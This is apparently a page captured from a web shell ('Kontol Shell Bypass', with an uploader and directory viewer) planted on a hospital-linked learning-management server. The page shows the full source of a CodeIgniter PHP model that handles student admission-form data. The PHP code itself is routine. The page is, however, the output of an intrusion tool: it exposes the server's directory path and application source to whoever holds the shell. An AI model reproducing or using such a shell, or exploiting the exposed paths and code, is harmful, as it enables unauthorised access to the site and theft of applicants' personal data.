ikan Uploader :
Directory : /var/www/html/shardahospital.org/shardalms/student-panel/api/application/models/
Upload File : |
| Current File : /var/www/html/shardahospital.org/shardalms/student-panel/api/application/models/Admform_model.php |
<?php
class Admform_model extends CI_Model {
function __construct() {
parent::__construct();
}
function detail($app_id=APP_ID){
$f="A.id app_id, A.application_no, U.name, U.email, U.mob, U.dob, U.gender, U.cat_id, U.religion_id, U.city, U.address, U.father_name,
A.program_id, A.plan_id, A.ac_id, A.step_completed, A.suat_status";
$adtl=$this->db->select($f)
->from("applications A")
->join("applicants U", "A.applicant_id=U.id")
->where(["A.id"=>$app_id])
->get()->row_array();
$adtl['physically_challenged']='N';
$adtl['house_income']='';
$adtl['id_proof']='';
$adtl['source_of_info']='';
$adtl['school_state_id_10th']=$adtl['school_state_id_12th']=$adtl['school_state_id_ug']=$adtl['school_state_id_pg']='0';
return $adtl;
// $d=$this->db->from("adm_form")->where(['app_id'=>$app_id])->get()->row_array();
// if($d){
// $d['signature_url']=($d['signature']) ? UP_URLF.'admissions/signatures/'.$d['signature'] : '';
// $d['profile_photo_url'] = ($d['profile_photo']) ? UP_URLF.'admissions/profiles/'.$d['profile_photo'] : '';
// $d['marksheet_10th_url'] = ($d['marksheet_10th']) ? UP_URLF.'admissions/docs/'.$d['marksheet_10th'] : '';
// $d['marksheet_12th_url'] = ($d['marksheet_12th']) ? UP_URLF.'admissions/docs/'.$d['marksheet_12th'] : '';
// $d['marksheet_dip_url'] = ($d['marksheet_dip']) ? UP_URLF.'admissions/docs/'.$d['marksheet_dip'] : '';
// if($d['marksheet_ug']){
// $marksheet_ug = explode(",",$d['marksheet_ug']);
// $d['marksheet_ug']=[];
// foreach($marksheet_ug as $i=>$r){
// $d['marksheet_ug'][$i]['url'] = UP_URLF.'admissions/docs/'.$r;
// $d['marksheet_ug'][$i]['name'] = $r;
// }
// }
// if($d['marksheet_pg']){
// $marksheet_pg = explode(",",$d['marksheet_pg']);
// $d['marksheet_pg']=[];
// foreach($marksheet_pg as $i=>$r){
// $d['marksheet_pg'][$i]['url'] = UP_URLF.'admissions/docs/'.$r;
// $d['marksheet_pg'][$i]['name'] = $r;
// }
// }
// if($d['marksheet_othr']){
// $marksheet_othr = explode(",",$d['marksheet_othr']);
// $d['marksheet_othr']=[];
// foreach($marksheet_othr as $i=>$r){
// $d['marksheet_othr'][$i]['url'] = UP_URLF.'admissions/docs/'.$r;
// $d['marksheet_othr'][$i]['name'] = $r;
// }
// }
// $d['entrance_exam_scoreboard_url'] = ($d['entrance_exam_scoreboard']) ? UP_URLF.'admissions/docs/'.$d['entrance_exam_scoreboard'] : '';
// $d['id_proof_img_url'] = ($d['id_proof_img']) ? UP_URLF.'admissions/docs/'.$d['id_proof_img'] : '';
// $d['cat_support_doc_url'] = ($d['cat_support_doc']) ? UP_URLF.'admissions/docs/'.$d['cat_support_doc'] : '';
// $d['physically_challange_certificate_url'] = ($d['physically_challange_certificate']) ? UP_URLF.'admissions/docs/'.$d['physically_challange_certificate'] : '';
// $d['domicile_state'] = $this->db->select("code")->from("master_states")->where(['id'=>$d['domicile_state_id']])->get()->row_array()['code'];
// $d['application_no'] = $this->db->select("application_no")->from("applications")->where(['id'=>$d['app_id']])->get()->row_array()['application_no'];
// $d['category'] = $this->db->select("ps_code")->from("master_applicat_cats")->where(['id'=>$d['cat_id']])->get()->row_array()['ps_code'];
// $d['religion'] = $this->db->select("ps_code")->from("master_applicat_religions")->where(['id'=>$d['religion_id']])->get()->row_array()['ps_code'];
// $d['program'] = $this->db->select("title")->from("master_programs")->where(['id'=>$d['program_id']])->get()->row_array()['title'];
// $d['plan'] = $this->db->select("title")->from("master_program_plans")->where(['id'=>$d['plan_id']])->get()->row_array()['title'];
// $d['state'] = $this->db->select("title")->from("master_states")->where(['id'=>$d['state_id']])->get()->row_array()['title'];
// $d['city'] = $this->db->select("title")->from("master_cities")->where(['id'=>$d['city_id']])->get()->row_array()['title'];
// $d['school_state_10th'] = $this->db->select("title")->from("master_states")->where(['id'=>$d['school_state_id_10th']])->get()->row_array()['title'];
// $d['school_state_12th'] = $this->db->select("title")->from("master_states")->where(['id'=>$d['school_state_id_12th']])->get()->row_array()['title'];
// $state = $this->db->select("title")->from("master_states")->where(['id'=>$d['school_state_id_ug']])->get()->row_array();
// $d['school_state_ug'] = ($state) ? $state['title'] : '';
// $state = $this->db->select("title")->from("master_states")->where(['id'=>$d['school_state_id_pg']])->get()->row_array();
// $d['school_state_pg'] = ($state) ? $state['title'] : '';
// $mschemes=key_val_array($this->db->select("id, title")->get("master_marking_schemes")->result_array(), 'id', 'title');
// $d['marking_scheme_10th']=$mschemes[$d['marking_scheme_id_10th']];
// $d['marking_scheme_12th']=$mschemes[$d['marking_scheme_id_12th']];
// $d['marking_scheme_ug']=$mschemes[$d['marking_scheme_id_ug']];
// $d['marking_scheme_pg']=$mschemes[$d['marking_scheme_id_pg']];
// $d['ps_app_no']=$this->db->select("ADM_APPL_NBR")->get_where("ps_stu_status", ['EMPLID'=>$d['application_no']])->row()->ADM_APPL_NBR;
// }else{
// $d=$adtl;
// }
// $ac_id=$this->db->select("ac_id")->from("master_programs")->where(['id'=>$d['program_id']])->get()->row('ac_id');
// $d['ac_dtl']=$this->db->from("master_academic_careers")->where(['id'=>$ac_id])->get()->row_array();
// if(!$d['board_id_10th']){
// foreach(['status_10th', 'board_id_10th', 'board_10th', 'marking_scheme_id_10th', 'marks_10th', 'passing_year_10th',
// 'status_12th', 'board_id_12th', 'board_12th', 'marking_scheme_id_12th', 'marks_12th', 'passing_year_12th',
// 'status_dip', 'board_id_dip', 'board_dip', 'marking_scheme_id_dip', 'marks_dip', 'passing_year_dip',
// 'status_ug', 'university_id_ug', 'university_ug', 'marking_scheme_id_ug', 'marks_ug', 'passing_year_ug',
// 'status_pg', 'university_id_pg', 'university_pg', 'marking_scheme_id_pg', 'marks_pg', 'passing_year_pg', 'abc_id'] as $k){
// $d[$k]=$adtl[$k];
// }
// }
// if(!$d['step_completed'] || $d['step_completed']<2){
// $d['status_10th']=$d['status_12th']=$d['status_dip']=$d['status_ug']=$d['status_pg']=$d['status_othr']='';
// }
// foreach($d as $k=>$v){
// if(strpos($k, 'passing_year')!==FALSE){
// if(!$d[$k]){
// $d[$k]='';
// }
// }
// }
// $d['dob']=get_date($d['dob']);
// $d['step_completed']=(int)$d['step_completed'];
// $d['final_submitted']=(int)$d['final_submitted'];
// $d['admission_card_url']=URL.'admform/admission_form/'.encode($d['app_id']).'/'.$d['application_no'];
// $d['download_adm_form_url']=URLF.'student-panel/api/admform/download_adm_form_pdf/'.encode($d['app_id']);
// return $d;
}
function acs(){
return $this->db->select("id, title")->order_by("disp_odr")->get_where("master_academic_careers", array('status'=>1))->result_array();
}
function disciplines(){
$rs=$this->db->select("id, title")
->from("master_disciplines")
->order_by("disp_odr")
->get()->result_array();
return $rs;
}
function programs(){
$rs=$this->db->select("P.id, P.title, P.ac_id")
->from("master_programs P")
->where(['P.status'=>1])
->order_by("title")
->get()->result_array();
return $rs;
}
function plans(){
$rs=$this->db->select("PP.id, PP.program_id, PP.title, PP.code, P.discipline_id, P.ac_id")
->from("master_program_plans PP")
->join("master_programs P", "P.id=PP.program_id")
->where(['PP.status'=>1])
->order_by("PP.title")->get()->result_array();
return $rs;
}
function states(){
return $this->db->select("id, title")->order_by("title")->get_where("master_states", array('status'=>1))->result_array();
}
function cities(){
$cond=array('status'=>1);
return $this->db->select("id, state_id, title, pincode")->order_by("title")->get_where("master_cities", $cond)->result_array();
}
function marking_schemes(){
$res=$this->db->select("id, title, allowed_data")->from("master_marking_schemes")->where("status", 1)->order_by("disp_odr")->get()->result_array();
/* foreach($res as $k=>$v){
$v['allowed_data']=trim($v['allowed_data']);
$res[$k]['allowed_values'] = explode(',',$v['allowed_data']);
} */
return $res;
}
function boards(){
return $this->db->select("id, title")->from("master_edu_boards")->where("status", 1)->order_by("title")->get()->result_array();
}
function universities(){
return $this->db->select("id, title")->from("master_universities")->where("status", 1)->order_by("title")->get()->result_array();
}
function religions(){
return $this->db->select("id, title")->from("master_applicat_religions")->where("status", 1)->order_by("disp_odr")->get()->result_array();
}
function applicant_cats(){
return $this->db->select("id, title")->from("master_applicat_cats")->where("status", 1)->order_by("disp_odr")->get()->result_array();
}
/** */
function save_step1($data){
$data['app_id'] = APP_ID;
$adm_form=$this->db->select("id")->get_where("adm_form", ['app_id'=>APP_ID])->row();
if($adm_form){
$data['id']=$adm_form->id;
}
if($data['abc_id']){
$applicant_id=$this->db->select("applicant_id")->get_where("applications", ['id'=>APP_ID])->row("applicant_id");
$this->dba->save('applicants', ['id'=>$applicant_id, 'abc_id'=>$data['abc_id']]);
}
return $this->dba->save('adm_form', $data);
}
function save_step2($data){
$res=['success'=>false, 'msg'=>'Error!'];
$data['id']=(int)$this->db->select("id")->get_where("adm_form", ['app_id'=>APP_ID])->row()->id;
if($data['status_12th']==0 || $data['status_dip']==0 || $data['status_ug']==0 || $data['status_othr']==0 || $data['status_pg']==0){
$undertaking_form_date=$this->db->select("undertaking_form_date")->get_where("adm_form", ['app_id'=>APP_ID])->row()->undertaking_form_date;
if(!$undertaking_form_date){
$data['undertaking_form_date']=date('Y-m-d');
}
}else{
$data['undertaking_form_date']=null;
}
if(!$data['id']){
throw new \Exception("First Save Step 1");
}
if($this->dba->save("adm_form", $data)){
$res=['success'=>true, 'msg'=>'Educational Details completed successfully'];
}
return $res;
}
function get_step_completed(){
$rs=$this->db->select("step_completed, final_submitted")->get_where("adm_form", ['app_id'=>APP_ID])->row_array();
$rs['step_completed']=(int)$rs['step_completed'];
$rs['final_submitted']=(int)$rs['final_submitted'];
return $rs;
}
function getStepCompletion()
{
$query = $this->db->select('step_completed')->get_where("applications", ['id' => APP_ID])->row_array();
$steps['step_completed'] = (int)$query['step_completed'];
return $steps;
}
public function getSUSATExamDate()
{
$data = $this->db->select("*")->from('susat_exam_date')->where('status', '1')->limit(1)->get()->row();
return $data;
}
}
//End of file
Kontol Shell Bypass